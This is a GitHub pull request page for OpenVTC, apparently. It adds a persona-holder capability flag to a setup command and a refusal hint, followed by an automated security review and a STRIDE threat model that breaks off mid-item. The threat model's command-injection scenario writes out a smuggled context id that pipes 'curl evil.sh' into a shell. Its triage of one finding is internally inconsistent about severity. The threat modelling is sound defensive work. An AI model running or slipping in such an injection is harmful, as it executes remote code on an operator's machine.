Skip to content

feat(setup): ask for the grant the identity pane needs - #279

Merged
stormer78 merged 1 commit into
mainfrom
feat/persona-holder-grant
Sep 7, 2026
Merged

feat(setup): ask for the grant the identity pane needs#279
stormer78 merged 1 commit into
mainfrom
feat/persona-holder-grant

Conversation

@stormer78

Copy link
Copy Markdown
Contributor

Splits the functional half out of #278, so it isn't waiting on a vocabulary
decision. No naming changes here — this is the reason most of the pane
shipped in #277 cannot work.

The problem

Setup provisions a context-scoped admin — pnm contexts create --admin-did
writes allowed_contexts: ["openvtc"] — while the attribute pool, the profiles
over it and the disclosure history are gated on an unscoped holder
credential, because they sit above every trust context.

So Attributes, Profiles and Disclosures are refused on every install today.
Correctly: the gate is the boundary working. But the only way to satisfy it was
to make OpenVTC an administrator of every context on the agent — a real
escalation for a community client, and not something to document as the happy
path.

The fix

Upstream, verifiable-trust-infrastructure#1286 adds
Capability::PersonaHolder: granted by name, conferred only by a super admin,
and additive — it grants authority over the holder's own identity without
granting authority over other contexts.

Here:

  • the setup screen's command ends --admin-holder;
  • for installs that already exist, the pane's refusal carries the command rather
    than only the agent's (accurate, abstract) explanation. It matches the phrase
    both the current and the pre-capability VTA use, so either agent produces the
    hint — and matches that phrase rather than "forbidden", because a false
    positive sends someone to fix something that is not their problem;
  • the command is now tested. It is pasted character for character into
    another terminal, and a mangled string literal — a run of spaces where a line
    continuation collapsed — is invisible in review and survives to the operator's
    shell. One had already got in while writing this.

Merge order

Harmless before #1286: --admin-holder is refused by an older VTA with a clear
error, and the pane behaves exactly as it does today. Useful after it.

Pre-merge checklist (vti-stack-development-guide §9)

- [x] No new clients/timeouts (R1.2) — no new network calls
- [x] No lock held across a network await (R1.3)
- [x] No local state before its remote effect (R2.1)
- [x] Retries bounded (R1.4) — none added
- [x] Loops survive transient errors (R1.5) — n/a
- [x] Acks after durable handoff (R1.6) — n/a
- [x] Wire types (R3.*) — none changed
- [x] Config absence = most restrictive (R5.*) — unchanged; the hint is display
- [x] Logs/status claim only what was verified (R6.*) — the hint is shown only
      for the refusal it actually addresses
- [x] "Process dies on the next line" (R2.1) — n/a, no new mutation
- [x] Deviations — none

cargo test --workspace green (425 in the binary), clippy clean.

The pane shipped in #277 unable to do most of its job, and the reason was an ACL
scope nobody had connected to it.

Setup provisions a context-scoped admin — `pnm contexts create --admin-did`
writes `allowed_contexts: ["openvtc"]` — while the attribute pool, the profiles
over it and the disclosure history are gated on an *unscoped* holder credential,
because they sit above every trust context. So on every install the Attributes,
Profiles and Disclosures tabs were refused, correctly, by a gate this client
could not satisfy without becoming an administrator of every context on the
agent.

The command the setup page shows now ends `--admin-holder`, which grants the
`persona-holder` capability alongside the context-scoped entry
(verifiable-trust-infrastructure#1286). The entry stays scoped to its one
context and gains authority over the holder's own identity — which is what a
client that *is* the holder should have and an integration should not. It is not
a way around the boundary; it is the grant the boundary was waiting for.

For installs that already exist, the pane's refusal now carries the command
instead of only the agent's (accurate, abstract) explanation. Matched on the
phrase both the current and pre-capability VTA use, so an operator pointing at
either gets the hint; matched on that phrase rather than on "forbidden", because
a false positive sends someone to fix something that is not their problem.

The command is now tested. It is pasted character for character into another
terminal, and a mangled string literal — a run of spaces where a line
continuation collapsed — is invisible in review and survives all the way to the
operator's shell. One had already got in.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
@stormer78
stormer78 requested a review from a team as a code owner September 7, 2026 11:16
@stormer78
stormer78 merged commit 33f3aa7 into main Sep 7, 2026
14 checks passed
@stormer78
stormer78 deleted the feat/persona-holder-grant branch September 7, 2026 12:14
stormer78 added a commit that referenced this pull request Sep 7, 2026
The rebase onto #279 put the grant hint inside the pane the vocabulary work had
just rewritten, and the widened guard immediately found three words on screen
that the table keeps off it — "pool" and "profiles" in the hint's own prose, and
"holder" in the agent's refusal, which the pane was echoing verbatim.

The hint's prose is ours, so it now says facts and faces.

The agent's sentence is not ours, and echoing it was the wrong call rather than
a wording slip. It is accurate and abstract — "the holder's attribute pool,
which sits above every trust context" — and it lands on someone who has just
been refused, which is the worst moment to meet three unfamiliar nouns. This is
the one failure the pane recognises exactly, so it now answers it in the agreed
words and gives the command. Every other failure is still echoed verbatim: that
text is *data*, naming a host or a contract mismatch, and translating what we do
not recognise would be inventing a cause (R6.4).

The guard grew the state that would have caught this: every tab now renders
refused as well as empty and populated. The words written for a failure are the
ones written under pressure, and nothing else on screen exercised them.

`persona-holder` inside the command is exempted — a capability name an operator
types verbatim, like a task URI. The exemption is the exact token, so a sentence
cannot hide behind the hyphen.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
stormer78 added a commit that referenced this pull request Sep 7, 2026
* refactor(persona): say "persona", the word every other surface uses

The identity pane called a persona DID a "face". Nothing else does: not the
Trust Tasks spec, not the VTA, not the SDK, not `pnm persona binding set
--persona-did`, not the console pane shipped this week, and not this repo's own
`PersonaRecord` / `persona_ref` / `persona_did`. A holder moving between two of
those surfaces had to translate, and translation is where a boundary gets
misread.

"Profile" was the other candidate and it is the one that would have hurt: it
already names the thing a persona *presents*. Calling the DID a profile would
have collided head-on with `persona/profile/*` — you bind a profile to a
persona; the reverse is not a sentence.

The word "persona" is genuinely overloaded — the task family spans the DID and
everything above it — and "face" was an attempt to fix that by inventing a third
noun. The overload is a prose problem with a prose fix: say "persona DID" where
a sentence has to be unambiguous about which layer it means, exactly as `pnm`'s
own help does. The pane's module header now states both words and the direction
between them.

`ContentPanelState::personas` becomes `identity`, so the list can take the name
it should have had: `identity.personas` rather than `personas.personas`. That
matches the menu entry, which has read "My Identity" since the pane landed —
the pane is not only personas, and now the field says so.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

* refactor(persona): speak the vocabulary a person reads

`design-docs/persona-vocabulary.md` fixes one set of words across the console,
`pnm`, the mobile agent and this TUI, so a person meets the same sentence
wherever they meet the model. This brings the identity pane to it.

The substitutions that matter:

- an **attribute** is a **fact** — "a fact about you, held once";
- a **profile** is a **face** — "the set of facts you show together". Not
  "profile": that already means three things in this product and "my LinkedIn
  page" to everyone else;
- a **binding** is **wearing** — a persona wears a face in a community.
  `Change face`, `Take it off`;
- **disclosures** are **what has left, and to whom**; **correlation** is
  **linked**; provenance reads *you said so* / *credential* / *made per
  verifier*, and the credential row carries the half people miss — the same
  signature everywhere, so it links you.

Tabs: Personas · Your facts · Faces · Communities · What has left.

The spec's words are exact and stay in the types, on the wire and in the audit
log. They are kept off the *screen*: `PersonaTab::Profiles` still addresses
`persona/profile/*`; its label says Faces. That split is the whole design of the
table, and it is why this is a display-layer change rather than a rename.

`stale` now carries its reason (`stale · revoked`) — the table asks for it, and
"stale" alone tells someone something is wrong without telling them what. The
agent was already sending `staleReason`; nothing was reading it.

## The guard

A test renders every tab — empty and populated — plus all three editors, and
fails if any word from the table's avoid-list reaches the screen. Every one of
them is a word this pane's own code and wire format use, so they are one
careless `format!` away at all times, and the drift is invisible in review
because each line looks correct to whoever wrote it. Verified by flipping a
label back: the test fails, rather than passing vacuously.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

* fix(persona): drop a duplicate import the vocabulary sweep left

A scripted replacement matched the same `use` line in two tests and added the
import to both. Clippy runs with `-D warnings` in CI, so an unused import there
is a failed build.

Ran `cargo clippy --workspace --all-targets -- -D warnings` this time rather
than plain clippy — the plain form said nothing, which is how it reached CI.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

* fix(persona): answer the refusal we recognise in our own words

The rebase onto #279 put the grant hint inside the pane the vocabulary work had
just rewritten, and the widened guard immediately found three words on screen
that the table keeps off it — "pool" and "profiles" in the hint's own prose, and
"holder" in the agent's refusal, which the pane was echoing verbatim.

The hint's prose is ours, so it now says facts and faces.

The agent's sentence is not ours, and echoing it was the wrong call rather than
a wording slip. It is accurate and abstract — "the holder's attribute pool,
which sits above every trust context" — and it lands on someone who has just
been refused, which is the worst moment to meet three unfamiliar nouns. This is
the one failure the pane recognises exactly, so it now answers it in the agreed
words and gives the command. Every other failure is still echoed verbatim: that
text is *data*, naming a host or a contract mismatch, and translating what we do
not recognise would be inventing a cause (R6.4).

The guard grew the state that would have caught this: every tab now renders
refused as well as empty and populated. The words written for a failure are the
ones written under pressure, and nothing else on screen exercised them.

`persona-holder` inside the command is exempted — a capability name an operator
types verbatim, like a task URI. The exemption is the exact token, so a sentence
cannot hide behind the hyphen.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

---------

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
@affinidi-appsecurity-bot

Copy link
Copy Markdown

🛡️ AI Agentic Security Code Review

1 AI-confirmed issue, 2 findings need a human to review/validate.

Mandatory to check: 🔒 Security Code Review Report

Details

🛡️ Security Code Review Report — PR #279

Field Value
Repository OpenVTC/openvtc
Branch feat/persona-holder-grantmain
Validated 2026-09-07
Scan ID 7fe3b11d
Validator AI Security Validation Agent

🗺️ Scan Coverage

Modules scanned: 2 · with findings: 1 · files: 3 · findings: 5

Module Files scanned Findings
openvtc 2 5
(root) 1 0

Executive Summary

Category Confirmed Must-Review-By-Human
Security Issues 1 2

⚠️ 2 finding(s) need human review. These could not be conclusively confirmed or dismissed automatically (insufficient evidence). They are not dismissed — a developer / security team member must read and decide.


🔒 Security Issues

Confirmed Vulnerabilities (1)

🟡 Elevation of Privilege via broad --admin-holder grant on setup command

Field Detail
Severity MEDIUM
Location openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246
Finding ID github_pr-c5017ff1f17f
CWE CWE-269
OWASP A01:2021-Broken Access Control
Detection Source threat_model

🧠 AI Triage:

  • Severity reassessed: HIGH → MEDIUM — This is a legitimate over-privilege design issue confirmed by code evidence, but it requires operator action (copy-pasting a displayed command) and only escalates risk if the resulting broad credential is later compromised — it is not a directly, remotely exploitable vulnerability. There is no confirmed exploit, no CVE/EPSS signal (first-party UX/config issue), and the impact depends on a secondary compromise event. This does not meet 'high' criteria for confirmed significant/direct impact and reachability by an external attacker; it is better calibrated as medium — a real privilege-scope hardening issue that should be fixed but is not an active foothold for immediate compromise.
  • Composite score: 5.5
  • Environment: production

📝 Description:

The setup flow now instructs operators to run a pnm command that grants the persona-holder capability (--admin-holder) in addition to context-scoped admin, expanding the authority granted to the OpenVTC install's DID beyond a single context.

🌱 Root Cause: The command-building code unconditionally appends --admin-holder to the generated command without any additional confirmation step or scoping check, relying entirely on the operator to understand and accept the broadened grant.

🔎 Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246

format!(
        "pnm contexts create --id {display_ctx} --name \"OpenVTC\" \\\n  \
         --admin-did {setup_did} --admin-expires 1h --admin-holder",
    )

🎯 Attack Scenario:

An operator copy-pastes the displayed command without fully reading the surrounding explanation, granting the persona-holder capability to a credential that may later be compromised or misused, resulting in broader access to the holder's attribute pool and profiles across all contexts than originally intended for a single-context admin credential.

🔍 Validation Log

  • Verdict: ✅ Confirmed True Positive
  • Confidence: 60%
  • AI Validation Evidence: EVIDENCE FOUND: build_pnm_command in openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs unconditionally emits '--admin-holder' in the format! string: 'pnm contexts create --id {display_ctx} --name "OpenVTC" ... --admin-did {setup_did} --admin-expires 1h --admin-holder'. This is confirmed by the file's own unit test the_pnm_command_is_clean_and_carries_the_holder_grant which asserts cmd.contains("--admin-holder") unconditionally. The comment block explains this is deliberate but confirms it is applied to every install regardless of actual need. EVIDENCE NOT FOUND: No conditional gating, feature flag, or operator confirmation step before appending --admin-holder; no per-install policy check was found anywhere in the provided source. CHANGED VS PRE-EXISTING: CHANGED — vta_acl_instructions.rs is the file under this MR's feature branch (feat/persona-holder-grant), and build_pnm_command plus its test asserting the holder grant are part of this change. VERDICT JUSTIFICATION: The elevation-of-privilege chain (build_pnm_command -> displayed command -> operator execution) is fully present and unconditional in the reviewed code; this is a genuine least-privilege/design concern, matching the finding.
  • Validation Effort: Cloned repo, read source file, verified vulnerability claim against actual code. Confirmed exploitability in scan context.

⚠️ Must-Review-By-Human (2)

Validated up to a point, but inconclusive — a human must read the code and make the final call. Reported (not dismissed) so developers and the security team receive them.

🟡 Sensitive error messages containing credential/authorization details displayed in UI

Field Detail
Severity MEDIUM
Location openvtc/src/ui/pages/main/components/personas_panel.rs:652
Finding ID github_pr-69ce45bab984
CWE CWE-200
OWASP A01:2021 - Broken Access Control
Detection Source threat_model

🧠 AI Triage:

  • Triaged severity: MEDIUM
  • CWE-209/CWE-200-style sensitive information exposure through error messages. No CVSS, no confirmed exploit maturity, and reachability is unconfirmed (no-info, dependent on a compromised/malicious agent endpoint feeding error content). This does not meet high/critical criteria (no RCE, no confirmed public exploit, no confirmed reachability) but is a legitimate disclosure risk warranting medium severity, consistent with the scanner's original rating.
  • Composite score: 4.9
  • Environment: production

📝 Description:

The panel displays raw agent error strings (which may include internal details about credential/capability state) directly in the UI, along with a hint containing a placeholder for the install's DID.

🌱 Root Cause: The error string from the backend agent is passed through directly to the UI rendering without sanitization or filtering of potentially sensitive internal details, and needs_holder_grant performs simple substring matching on lowercased error text.

🔎 Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:652

lines.push(Line::from(""));
        super::status::push_status(lines, error, " ");
        lines.push(Line::from(""));
        if needs_holder_grant(error) {
            for line in HOLDER_GRANT_HINT {
                lines.push(Line::from(*line).fg(COLOR_ORANGE));
            }

🎯 Attack Scenario:

If an attacker can influence or observe the agent's error responses (e.g., via a compromised or malicious agent endpoint), they could inject content into load_error that gets rendered verbatim in the operator's terminal, potentially disclosing internal system details or misleading the operator into running unintended commands.

🔍 Validation Log

  • Verdict: ⚠️ Must-Review-By-Human
  • Confidence: 40%
  • AI Validation Evidence: EVIDENCE FOUND: personas_panel.rs was not included in source_files (only vta_acl_instructions.rs, setup_wizard.rs, did.rs, state.rs, context_path.rs are provided), so the actual push_status/push_agent_state implementation, HOLDER_GRANT_HINT constant, and the surrounding error-handling logic referenced in evidence (lines 652, 700) could not be directly inspected in this validation pass. The evidence snippet shows 'super::status::push_status(lines, error, " ")' and a conditional needs_holder_grant(error) check, implying raw error strings from the backend agent are rendered to the TUI, but the actual definition/sanitization of push_status is not visible. EVIDENCE NOT FOUND: No sanitization, redaction, or truncation logic for the 'error' string was found because personas_panel.rs's full content (including push_status and PersonasState.load_error origin) is not present in the provided source_files. CHANGED VS PRE-EXISTING: Likely CHANGED — personas_panel.rs is referenced in the threat model as COMP-001 with new needs_holder_grant/HOLDER_GRANT_HINT logic tied to this MR's feature (persona-holder-grant), but since the file's full content isn't in source_files, the pre-existing vs new nature of push_status/error rendering itself cannot be confirmed. VERDICT JUSTIFICATION: Cannot confirm whether the 'error' string actually contains sensitive credential/authorization details (vs. a generic user-facing message) without seeing where 'error' originates and what backend produces it; insufficient evidence to validate or dismiss — human review of personas_panel.rs and the agent's error-construction code is needed.
  • Validation Effort: This finding was validated up to a point, but the available evidence was insufficient for a conclusive automated verdict. A human (developer / security team) must manually review the code and decide. Not dismissed — treat as an open item pending human review.

🟡 Naive substring matching on untrusted agent error text drives security-relevant UI hint

Field Detail
Severity MEDIUM
Location openvtc/src/ui/pages/main/components/personas_panel.rs:700
Finding ID github_pr-0c824c162388
CWE CWE-697, CWE-451
OWASP A04:2021 - Insecure Design
MITRE ATT&CK T1036 - Masquerading
CAPEC CAPEC-148
DREAD 3.6
Reachability 🔴 Reachable
Exploit Maturity theoretical
Detection Source skill_scan

🧠 AI Triage:

  • Severity reassessed: LOW → MEDIUM — CWE-697 incorrect comparison logic causing UI misrepresentation, but requires compromise of or MITM on the internal agent connection (basic auth barrier) — a precondition well beyond typical user input manipulation. No public exploit, theoretical exploit maturity only, and scanner explicitly rates business impact as low (misleading guidance, not data breach or system compromise). This does not meet medium/high criteria for CVSS-equivalent impact or exploit evidence; low severity is accurate.
  • Composite score: 5
  • Environment: production

📝 Description:

A malicious or compromised VTA agent (or a MITM attacker without transport integrity) can manipulate whether operators are told to escalate their own credential's privileges, either causing unnecessary escalation or hiding guidance for a genuine authorization failure.

🧪 Proof of Concept:

The hint-triggering logic treats agent-supplied free text as trusted signal for a security-relevant recommendation without any structural validation, authentication, or integrity guarantee on that text's origin.

if needs_holder_grant(error) {
    for line in HOLDER_GRANT_HINT {
        lines.push(Line::from(*line).fg(COLOR_ORANGE));
    }
    lines.push(Line::from(""));
}
...
fn needs_holder_grant(error: &str) -> bool {
    let e = error.to_ascii_lowercase();
    e.contains("holder credential") || e.contains("persona-holder")
}

Vulnerable lines: 652, 709

🔎 Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700

fn needs_holder_grant(error: &str) -> bool {
    let e = error.to_ascii_lowercase();
    e.contains("holder credential") || e.contains("persona-holder")
}

💥 Impact:

A compromised or misbehaving agent (or MITM without transport integrity) can steer operator behavior by crafting error text, either causing needless privilege grants or masking a real authorization problem by avoiding the trigger phrases.

Confidentiality: None directly. · Integrity: Low — could induce an unnecessary privilege-escalation action by the operator. · Availability: None directly.

🧭 Reachability:

  • Network exposure: internal
  • Auth barrier: basic
  • Attack path: VTA agent (or MITM on agent connection) → error string returned to load_error field → push_agent_state() → needs_holder_grant(error) at line 707 → HOLDER_GRANT_HINT rendered to operator

⚖️ Triage Factors:

Factor Value
Fixable ✅ Yes
Exploitability low
Business impact low
Public exploit None known
Environment unknown

Attack scenario: A compromised or MITM'd VTA agent connection can spoof or suppress a security-relevant UI hint by crafting error text matched via naive substring search.

🔧 Remediation:

⚠️ AI-generated fix. Review, test in staging, and validate against your architecture before applying.

Replace free-text substring matching with a structured, typed error code supplied by the agent API (and authenticate/integrity-protect the agent connection, e.g., via TLS + agent identity verification) so the hint-triggering decision cannot be spoofed by crafting incidental text.

Vulnerable code:

fn needs_holder_grant(error: &str) -> bool {
    let e = error.to_ascii_lowercase();
    e.contains("holder credential") || e.contains("persona-holder")
}

Secure code:

// Prefer a structured/typed error from the agent API instead of string matching.
fn needs_holder_grant(error: &AgentError) -> bool {
    matches!(error.code, AgentErrorCode::MissingCapability(Capability::PersonaHolder))
}

Additional recommendations:

  • Ensure the VTA agent connection uses transport-level integrity (TLS) to prevent MITM error-message tampering.
  • Log the raw error alongside the hint decision for later audit/repudiation resolution.

🔍 Validation Log

  • Verdict: ⚠️ Must-Review-By-Human
  • Confidence: 90%
  • AI Validation Evidence: EVIDENCE FOUND: The finding's evidence snippet shows 'fn needs_holder_grant(error: &str) -> bool { let e = error.to_ascii_lowercase(); e.contains("holder credential") || e.contains("persona-holder") }' — a naive substring match on an error string. This matches the described pattern exactly. EVIDENCE NOT FOUND: personas_panel.rs is not included in source_files, so I cannot verify where 'error' originates (i.e., whether it is authenticated/integrity-protected agent output, or attacker-influenceable), nor can I see any surrounding validation/authentication layer for agent responses. CHANGED VS PRE-EXISTING: Likely CHANGED given this function directly supports the persona-holder-grant feature this MR/branch is named after, but without the full file I cannot rule out this being pre-existing error-matching logic reused from elsewhere. VERDICT JUSTIFICATION: The code pattern is confirmed by the snippet but the broader context (agent transport security, whether 'error' is genuinely attacker-reachable) cannot be verified from provided files — insufficient evidence to validate exploitability or dismiss it as non-issue; requires human review of the VTA agent's transport/authentication guarantees.
  • Validation Effort: This finding was validated up to a point, but the available evidence was insufficient for a conclusive automated verdict. A human (developer / security team) must manually review the code and decide. Not dismissed — treat as an open item pending human review.


Generated by Agentic Sec — AI Security Validation Agent
This report includes full scan data + AI validation evidence. Feed to engineering copilots for automated fix deployment.

Complementary: 🛡️ **Threat Model & Affect Analysis**
Details

🛡️ Threat Model & Affect Analysis — PR #279

Field Value
Repository OpenVTC/openvtc
Branch feat/persona-holder-grantmain
Generated 2026-09-07

ℹ️ This report contains theoretical threats and impact analysis for the MR.
Unlike the Security Code Review Report (which contains confirmed, materialised issues),
these are potential risks that may or may not be exploitable. Use this for defence-in-depth planning.


📋 Affect Analysis

Change Summary

This PR makes OpenVTC's setup wizard request the 'persona-holder' ACL capability (via a new --admin-holder flag on the generated pnm contexts create command) alongside the existing context-scoped admin grant, so the identity pane's Attributes/Profiles/Disclosures tabs work without requiring cross-context admin. It also adds a UI hint in the personas panel that surfaces the exact remediation command when an existing install's agent refuses a request for lack of that capability.

Diff: +172 / -3 lines
Types: feature, security, docs

⚠️ Security Implications

🟠 Unconditional default widening of setup-time authorization scope via --admin-holder

Unconditional default widening of setup-time authorization scope via --admin-holder

Action: Make --admin-holder an explicit, confirmed opt-in tied to whether the operator actually intends to use the identity pane, with a clear scope explanation before the command is displayed.

🟡 No sanitization of operator-typed context ID before interpolation into copy-paste command

No sanitization of operator-typed context ID before interpolation into copy-paste command

Action: Validate typed_ctx against an allow-list charset (alphanumeric, hyphen, underscore) and/or wrap the --id value in shell-safe quoting before rendering.

🟡 Substring heuristic gating a privilege-escalation hint is spoofable and brittle

Substring heuristic gating a privilege-escalation hint is spoofable and brittle

Action: Adopt structured/typed error codes from the VTA agent API instead of free-text matching, and ensure agent response integrity (e.g., authenticated transport) to prevent spoofing.

🟡 Setup DID display now associated with a higher-value cross-context credential

Setup DID display now associated with a higher-value cross-context credential

Action: Warn operators that the displayed command now confers cross-context authority and should be handled with commensurate care; consider truncated on-screen DID display with reveal-on-demand.

🟡 No expiry bound on the persona-holder capability grant

No expiry bound on the persona-holder capability grant

Action: Extend expiry semantics (or equivalent guidance) to also bound the persona-holder capability lifetime, and add rotation/revocation reminders.

🧩 Affected Components

Component Impact Change What Changed
Setup Flow Command Generator (build_pnm_command) high modified The generated 'pnm contexts create' command now includes '--admin-holder' unconditionally, widening the default capability grant requested d
Personas Panel Error Remediation Hint medium new Added a heuristic (needs_holder_grant) and a hardcoded hint block (HOLDER_GRANT_HINT) that detects holder-authority-related agent errors and
External pnm / VTA Agent ACL Enforcement (out of repo scope) critical modified Not modified in this PR, but this is the actual policy decision point that must correctly scope the persona-holder capability to the holder'

📁 File Classifications

openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs

  • Type: security

openvtc/src/ui/pages/main/components/personas_panel.rs

  • Type: security

CHANGELOG.md

  • Type: docs

🛡️ STRIDE Threat Model

Identified Threats (10)

🟠 STRIDE-1: Unconditional Scope Widening in Generated pnm contexts create Command

Field Detail
Category Tampering, Elevation of Privilege
Severity High
Likelihood Likely
CVSS 7.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-269,CWE-732
CAPEC CAPEC-122,CAPEC-233
OWASP A01:2021 - Broken Access Control

Description: vta_acl_instructions::build_pnm_command in COMP-002/COMP-003 allows unconditional privilege-scope widening due to unconditionally appending --admin-holder to every generated setup command regardless of whether the operator actually needs holder-level authority, resulting in installs being granted persona-holder capability (authority over the holder's identity, attribute pool, and profiles across all contexts) by default.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246-261

format!("pnm contexts create --id {display_ctx} --name \"OpenVTC\" \\\n  --admin-did {setup_did} --admin-expires 1h --admin-holder")

Attack Scenario:

  1. An operator (or an attacker who has compromised the OpenVTC setup flow UI, or convinced an operator to run the tool as part of a supply-chain / social-engineering attack) launches the OpenVTC setup wizard.
  2. The setup_flow page calls build_pnm_command(state, typed_ctx) in openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs, which unconditionally appends ' --admin-holder' to the format! string regardless of whether this install actually requires holder-scoped authority.
  3. The operator copies the displayed command verbatim (per the design intent noted in test the_pnm_command_is_clean_and_carries_the_holder_grant) and pastes it into a privileged pnm CLI session.
  4. pnm executes 'pnm contexts create --id --name "OpenVTC" --admin-did <setup_did> --admin-expires 1h --admin-holder', granting the setup_did both context-scoped admin AND the persona-holder capability that sits above every trust context.
  5. If the setup_did or its private key material is later exposed (e.g., logged, phished, or the install is compromised), the attacker inherits authority over the holder's entire attribute pool and profiles, not just the single intended context — a blast-radius expansion introduced by this PR's unconditional flag.

🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003

  • Data Flows: Setup UI -> generated pnm CLI command -> pnm agent

Preconditions: Operator runs the generated pnm command without independently verifying necessity of --admin-holder, pnm agent honors the --admin-holder flag as documented, No secondary confirmation step exists before granting the elevated capability

Existing Controls: Code comments explain the rationale for the grant • Unit tests validate command construction correctness (not authorization necessity) • --admin-expires 1h limits the context-scoped admin entry lifetime (though persona-holder grant duration is unclear)

Recommended Mitigations: Make --admin-holder conditional/opt-in with an explicit operator confirmation prompt explaining the scope being granted • Display a clear warning distinguishing context-scoped admin from cross-context persona-holder authority before the command is shown • Apply least-privilege by defaulting to context-scoped admin only, requiring a separate explicit action to add --admin-holder • Add expiry/revocation guidance specifically for the persona-holder capability grant


🟡 STRIDE-2: Command Injection via Unsanitized display_ctx/typed_ctx in Generated pnm Command String

Field Detail
Category Tampering, Elevation of Privilege
Severity Medium
Likelihood Possible
CVSS 5.3 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-78,CWE-88
CAPEC CAPEC-88
OWASP A03:2021 - Injection

Description: build_pnm_command in COMP-002 allows shell metacharacter injection via typed_ctx due to lack of input sanitization/escaping before string interpolation into a copy-paste shell command, resulting in arbitrary command execution if the operator blindly pastes the generated string into a shell.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:240-261

let display_ctx = if trimmed.is_empty() { "openvtc" } else { trimmed }; format!("pnm contexts create --id {display_ctx} ...")

Attack Scenario:

  1. An attacker with access to the setup UI's context-id input field (e.g., a malicious insider, or a shared/multi-tenant terminal session) types a context id containing shell metacharacters, e.g. 'my-ctx; curl evil.sh | sh #'.
  2. build_pnm_command in vta_acl_instructions.rs trims and interpolates this value directly into the format! string as {display_ctx} without escaping.
  3. The resulting string is rendered in the TUI (render_input) and displayed to the legitimate operator as text to copy and paste into their pnm shell.
  4. The operator, trusting the tool's own generated output (as tests like the_pnm_command_is_clean_and_carries_the_holder_grant imply), pastes the full line into a privileged shell without inspecting it character-by-character.
  5. The shell executes the injected command with the operator's privileges, e.g. exfiltrating data or installing malware, alongside (or instead of) the intended pnm contexts create call.

🔎 Threat Clue: Derived from COMP-002 via EP-002

  • Data Flows: Operator input -> build_pnm_command -> TUI display -> operator shell

Preconditions: Attacker or malicious actor can influence the typed_ctx input field, Victim/operator copies and pastes the full generated line into a shell without review, No length or charset validation exists on typed_ctx

Existing Controls: Unit test the_typed_context_id_reaches_the_command validates trimming behavior but not sanitization • Tests check for double-space collapse artifacts but not shell metacharacters

Recommended Mitigations: Validate typed_ctx against an allow-list charset (alphanumeric, hyphen, underscore) before use • Reject or escape shell metacharacters in context IDs at input time • Consider generating a shell-safe quoted form (e.g., single-quoting the --id value) rather than relying on operator vigilance


🔵 STRIDE-3: Substring-Based Error Matching Spoofable in needs_holder_grant

Field Detail
Category Spoofing, Tampering
Severity Low
Likelihood Possible
CVSS 3.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-697,CWE-451
CAPEC CAPEC-148
OWASP A04:2021 - Insecure Design

Description: needs_holder_grant in personas_panel.rs (COMP-001) allows misleading hint injection due to naive case-insensitive substring matching on untrusted agent error text, resulting in a malicious or compromised VTA agent being able to trigger or suppress the operator-facing privilege-escalation hint arbitrarily.

Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700-709

fn needs_holder_grant(error: &str) -> bool {
    let e = error.to_ascii_lowercase();
    e.contains("holder credential") || e.contains("persona-holder")
}

Attack Scenario:

  1. An attacker who controls or has compromised the VTA agent backend (or performs a MITM on the agent connection) crafts an arbitrary error string returned to the OpenVTC client.
  2. The attacker includes the substring 'holder credential' or 'persona-holder' anywhere in an unrelated error message (e.g. 'internal debug: holder credential subsystem log rotated'), even though the real failure has nothing to do with authorization.
  3. needs_holder_grant(error) in personas_panel.rs performs e.contains("holder credential") || e.contains("persona-holder") on the lowercased string with no structural/typed error validation.
  4. push_agent_state renders the HOLDER_GRANT_HINT block, instructing the operator to run 'pnm acl update --did --capabilities persona-holder' even though the actual problem is unrelated (e.g., a network glitch or a different authorization gap).
  5. The operator, trusting the UI's guidance, escalates their own credential's capability unnecessarily, expanding attack surface, or conversely wastes time chasing the wrong fix, delaying detection of the real issue (e.g., an active compromise causing agent errors).

🔎 Threat Clue: Derived from COMP-001 via EP-001

  • Data Flows: VTA agent error response -> personas_panel::push_agent_state -> TUI hint rendering

Preconditions: Attacker can influence or spoof error strings returned by the agent (e.g., compromised agent, MITM without transport integrity, or a bug elsewhere echoing attacker-controlled text into an error), No structured/typed error codes are used to distinguish authorization failures from other failures

Existing Controls: Comment documents the deliberate narrow-phrase-matching design tradeoff • Unit tests validate matching and non-matching cases for known phrases • Match is narrower than the generic term 'forbidden', reducing false positives

Recommended Mitigations: Replace string-matching heuristics with structured/typed error codes from the agent API • Cryptographically authenticate/integrity-protect agent responses to prevent error-message spoofing • Log the raw error and the hint-trigger decision for audit/repudiation purposes


🟡 STRIDE-4: No Audit Trail for Operator-Executed Privilege-Elevation Command

Field Detail
Category Repudiation
Severity Medium
Likelihood Likely
CVSS 4.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Residual Severity Low
CWE CWE-778
CAPEC CAPEC-268
OWASP A09:2021 - Security Logging and Monitoring Failures

Description: The generated pnm contexts create --admin-holder command in COMP-002/COMP-003 allows unattributable privilege grants due to the OpenVTC application never logging or recording that it displayed/recommended the elevated command, resulting in an inability to later prove whether the operator was guided by the tool or acted independently when disputing an over-broad grant.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:246-261

